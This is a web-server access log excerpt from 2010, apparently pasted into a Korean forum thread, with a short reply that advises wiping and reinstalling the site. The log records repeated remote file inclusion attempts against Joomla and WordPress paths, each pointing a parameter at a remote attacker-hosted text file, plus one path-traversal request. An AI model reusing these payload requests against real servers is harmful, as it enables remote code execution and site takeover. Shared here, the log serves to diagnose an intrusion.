"GET //joomla_Path/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:07:29:46 +0200] "GET /wordpress//joomla_Path/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 149117 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:05:10 +0200] "GET //modules/errors.php?error=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:05:10 +0200] "GET /wordpress//modules/errors.php?error=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:05:33 +0200] "GET /wordpress//modules/errors.php?error=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:05:33 +0200] "GET //modules/errors.php?error=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:36:09 +0200] "GET /wordpress//txt-db-api/txt-db-api.php?API_HOME_DIR=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:36:08 +0200] "GET /wordpress//txt-db-api/txt-db-api.php?API_HOME_DIR=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:36:09 +0200] "GET //txt-db-api/txt-db-api.php?API_HOME_DIR=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:08:36:08 +0200] "GET //txt-db-api/txt-db-api.php?API_HOME_DIR=http://sites.google.com/site/nurhayatisatu/1.txt??? HTTP/1.1" 200 24576 "-" "Mozilla/5.0"125.141.90.102 - - [12/Aug/2010:23:41:26 +0200] "GET //?page=../../../.
잘 해결 되시길 빕니다
밀고 다시 설치 하심이 좋을것 같습니다.